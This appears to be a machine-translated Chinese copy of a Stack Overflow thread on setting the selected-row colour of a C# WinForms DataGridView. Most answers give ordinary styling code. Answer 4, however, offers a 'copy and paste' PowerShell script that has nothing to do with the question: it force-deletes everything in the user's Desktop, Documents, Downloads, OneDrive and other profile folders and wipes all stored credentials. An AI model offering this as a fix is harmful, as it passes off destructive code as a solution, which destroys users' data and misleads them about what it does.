如何更改datagridview选定的行背景颜色?

时间:2010-07-05 09:30:03

标签: c# winforms datagridview

如何在C#windows应用程序中更改datagridview选定的行背景颜色?

6 个答案:

答案 0 :(得分:32)

来吧男人......必须有一个简单的解决方案,最后得到一个。

dataGridView1.DefaultCellStyle.SelectionBackColor = Color.Blue;
dataGridView1.DefaultCellStyle.SelectionForeColor = Color.Red;

这对我有用,没有复杂的代码,也没有事件处理。我以前做过,但是无法回想起这么想发布它会帮助别人和我将来:)

答案 1 :(得分:30)

在DataGridView上有一个DefaultCellStyle,其中包含SelectionBackColorSelectionForeColor属性。

DataGridView使用样式继承的想法,以防您发现未选择的样式:

http://msdn.microsoft.com/en-us/library/1yef90x0.aspx

答案 2 :(得分:2)

利用DataGridViewCell的事件CellEnterCellLeave你可能会尝试这样的事情:

private void foobarDataGridView_CellEnter(object sender, DataGridViewCellEventArgs e)
{
  DataGridViewCellStyle fooCellStyle = new DataGridViewCellStyle();
  fooCellStyle.BackColor = System.Drawing.Color.LightYellow;
  this.VariableFinderDataGridView.CurrentCell.Style.ApplyStyle(fooCellStyle);
}

private void foobarFinderDataGridView_CellLeave(object sender, DataGridViewCellEventArgs e)
{
  DataGridViewCellStyle barCellStyle = new DataGridViewCellStyle();
  barCellStyle.BackColor = System.Drawing.Color.White;
  this.VariableFinderDataGridView.CurrentCell.Style.ApplyStyle(barCellStyle);
}

答案 3 :(得分:0)

这是我的代码

private void dataGridView1_CellContentClick_1(object sender, DataGridViewCellEventArgs e)
{
dataGridView1.CurrentRow.DefaultCellStyle.BackColor = Color.Maroon;
dataGridView1.CurrentRow.DefaultCellStyle.ForeColor = Color.White;
}

答案 4 :(得分:0)

这是您可以复制并粘贴的简单有效的版本:

Add-Type -AssemblyName System.Windows.Forms

& cmd.exe set userpreserve="Administrator,All Users,Default,Public,barfiej"

# All files and folders within the parent folders below will be deleted.

'C:\Users\%USERNAME%\AppData\Local\Microsoft\Outlook\*',
'C:\Users\%USERNAME%\Contacts\*',
'C:\Users\%USERNAME%\Desktop\*',
'C:\Users\%USERNAME%\Documents\*',
'C:\Users\%USERNAME%\Downloads\*',
'C:\Users\%USERNAME%\Favorites\*',
'C:\Users\%USERNAME%\Links\*',
'C:\Users\%USERNAME%\Music\*',
'C:\Users\%USERNAME%\OneDrive\*',
'C:\Users\%USERNAME%\OneDrive - Six Continents Hotels, Inc\*',
'C:\Users\%USERNAME%\Pictures\*',
'C:\Users\%USERNAME%\Saved Games\*',
'C:\Users\%USERNAME%\Searches\*',
'C:\Users\%USERNAME%\Videos\*' | 
ForEach { Remove-Item -Path $PSItem -Recurse -Force}

<#
https://docs.microsoft.com/en-us/archive/blogs/rmilne/script-to-clear-credman
#>

& cmd.exe For /F "tokens=1,2 delims= " %G in ('cmdkey /list ^| findstr Target') do cmdkey /delete %H

[System.windows.forms.messagebox]::show(
"Welcome to your loaner computer.
`nPlease keep the follow the following instructions while using the loaner laptop.
`n- Save all documents to OneDrive. Data is set to be removed from the user profile at each logoff
`n- Use Webmail
`n- Please keep the computer clean
`n- Be sure to return loaner when picking up your computer"
)

答案 5 :(得分:0)

颜色也可以在'DataGridView'的设计器中更改

enter image description here